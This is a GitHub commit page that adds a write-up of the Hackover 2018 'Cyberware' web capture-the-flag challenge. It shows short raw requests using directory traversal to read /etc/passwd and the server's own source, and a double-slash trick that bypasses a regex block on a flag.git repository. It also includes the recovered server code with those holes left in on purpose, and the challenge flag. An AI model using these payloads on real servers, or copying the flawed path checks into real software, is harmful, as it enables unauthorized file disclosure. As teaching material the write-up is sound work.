Skip to content

Commit e74c181

Browse files
committed
cyberware writeup
1 parent 3cff5bc commit e74c181

File tree

2 files changed

+190
-0
lines changed

2 files changed

+190
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Cyberware (web, 416, 24 solved)
2+
3+
We get access to a webpage with links to 4 ascii-art files.
4+
If we simply click on them, we can't see the files and we get HTTP 412 response.
5+
Once we dig a bit deeper we can see a strange header `HTTP/1.1 412 referer sucks`
6+
7+
Once we send a raw request with no headers, we get back a nice picture:
8+
9+
```python
10+
from crypto_commons.netcat.netcat_commons import nc
11+
12+
13+
def main():
14+
s = nc("cyberware.ctf.hackover.de", 1337)
15+
s.sendall("GET /fox.txt HTTP/1.0\r\nConnection: close\r\n\r\n")
16+
print(s.recv(9999))
17+
print(s.recv(9999))
18+
pass
19+
20+
21+
main()
22+
```
23+
24+
If we look closely at the responses we can see:
25+
26+
```
27+
HTTP/1.1 200 Yippie
28+
Server: Linux/cyber
29+
Date: Sun, 07 Oct 2018 14:50:19 GMT
30+
Content-type: text/cyber
31+
Content-length: 414
32+
```
33+
34+
This could suggest a custom-made http server of some sort.
35+
Once we play around a bit we notice that there is a directory traversal there:
36+
37+
```
38+
s.sendall("GET ./etc/passwd HTTP/1.0\r\nConnection: close\r\n\r\n")
39+
```
40+
41+
returns contents of `/etc/passwd` for us.
42+
43+
Now we can get `/proc/self/cmdline` which tells us we're running `/usr/bin/python3 ./cyberserver.py`, and we can read this file to recover [server source code](cyberserver.py)
44+
45+
The interesting part of the code is:
46+
47+
```python
48+
if path.startswith('flag.git') or search('\\w+/flag.git', path):
49+
self.send_response(403, 'U NO POWER')
50+
self.send_header('Content-type', 'text/cyber')
51+
self.end_headers()
52+
self.wfile.write(b"Protected by Cyberware 10.1")
53+
return
54+
```
55+
56+
This suggests there is a `flag.git` repository there!
57+
It seems blacklisted, but `\w+` does not match `/` and they included only a single `/` in the pattern so if we send two, it will bypass the check:
58+
59+
```
60+
s.sendall("GET ./home/ctf//flag.git HTTP/1.0\r\nConnection: close\r\n\r\n")
61+
```
62+
63+
We get back a nice `HTTP/1.1 406 Cyberdir not accaptable`, so we made a proper request.
64+
65+
Now what is left is to modify some git-repo-dumper like https://github.com/internetwache/GitTools/tree/master/Dumper to grab the contents of the git repo and there we can find the flag: `hackover18{Cyb3rw4r3_f0r_Th3_w1N}`
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
#!/usr/bin/python3
2+
from threading import Thread
3+
from sys import argv
4+
from sys import getsizeof
5+
from time import sleep
6+
from socketserver import ThreadingMixIn
7+
from http.server import SimpleHTTPRequestHandler
8+
from http.server import HTTPServer
9+
from re import search
10+
from os.path import exists
11+
from os.path import isdir
12+
13+
14+
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
15+
pass
16+
17+
18+
class CyberServer(SimpleHTTPRequestHandler):
19+
def version_string(self):
20+
return f'Linux/cyber'
21+
22+
def do_GET(self):
23+
self.protocol_version = 'HTTP/1.1'
24+
25+
referer = self.headers.get('Referer')
26+
path = self.path[1:] or ''
27+
28+
if referer:
29+
self.send_response(412, 'referer sucks')
30+
self.send_header('Content-type', 'text/cyber')
31+
self.end_headers()
32+
self.wfile.write(b"Protected by Cyberware 10.1")
33+
return
34+
35+
if not path:
36+
self.send_response(200, 'cyber cat')
37+
self.send_header('Content-type', 'text/html')
38+
self.end_headers()
39+
for animal in ['cat', 'fox', 'kangaroo', 'sheep']:
40+
self.wfile.write("<a href='{0}.txt'>{0}.txt</a></br>"
41+
.format(animal).encode())
42+
return
43+
44+
if path.endswith('/'):
45+
self.send_response(403, 'You shall not list!')
46+
self.send_header('Content-type', 'text/cyber')
47+
self.end_headers()
48+
self.wfile.write(b"Protected by Cyberware 10.1")
49+
return
50+
51+
if path.startswith('.'):
52+
self.send_response(403, 'Dots are evil')
53+
self.send_header('Content-type', 'text/cyber')
54+
self.end_headers()
55+
self.wfile.write(b"Protected by Cyberware 10.1")
56+
return
57+
58+
if path.startswith('flag.git') or search('\\w+/flag.git', path):
59+
self.send_response(403, 'U NO POWER')
60+
self.send_header('Content-type', 'text/cyber')
61+
self.end_headers()
62+
self.wfile.write(b"Protected by Cyberware 10.1")
63+
return
64+
65+
if not exists(path):
66+
self.send_response(404, 'Cyber not found')
67+
self.send_header('Content-type', 'cyber/error')
68+
self.end_headers()
69+
self.wfile.write(b"Protected by Cyberware 10.1")
70+
return
71+
72+
if isdir(path):
73+
self.send_response(406, 'Cyberdir not accaptable')
74+
self.send_header('Content-type', 'cyber/error')
75+
self.end_headers()
76+
self.wfile.write(b"Protected by Cyberware 10.1")
77+
return
78+
79+
try:
80+
with open(path, 'rb') as f:
81+
content = f.read()
82+
83+
self.send_response(200, 'Yippie')
84+
self.send_header('Content-type', 'text/cyber')
85+
self.send_header('Content-length', getsizeof(content))
86+
self.end_headers()
87+
self.wfile.write(content)
88+
except Exception:
89+
self.send_response(500, 'Cyber alert')
90+
self.send_header('Content-type', 'cyber/error')
91+
self.end_headers()
92+
self.wfile.write("Cyber explosion: {}"
93+
.format(path).encode())
94+
95+
96+
class CyberServerThread(Thread):
97+
server = None
98+
99+
def __init__(self, host, port):
100+
Thread.__init__(self)
101+
self.server = ThreadingSimpleServer((host, port), CyberServer)
102+
103+
def run(self):
104+
self.server.serve_forever()
105+
return
106+
107+
108+
def main(host, port):
109+
print(f"Starting cyberware at {host}:{port}")
110+
cyberProtector = CyberServerThread(host, port)
111+
cyberProtector.server.shutdown
112+
cyberProtector.daemon = True
113+
cyberProtector.start()
114+
while True:
115+
sleep(1)
116+
117+
118+
if __name__ == "__main__":
119+
host = "0.0.0.0"
120+
port = 1337
121+
if len(argv) >= 2:
122+
host = argv[1]
123+
if len(argv) >= 3:
124+
port = int(argv[3])
125+
main(host, port)

0 commit comments

Comments
 (0)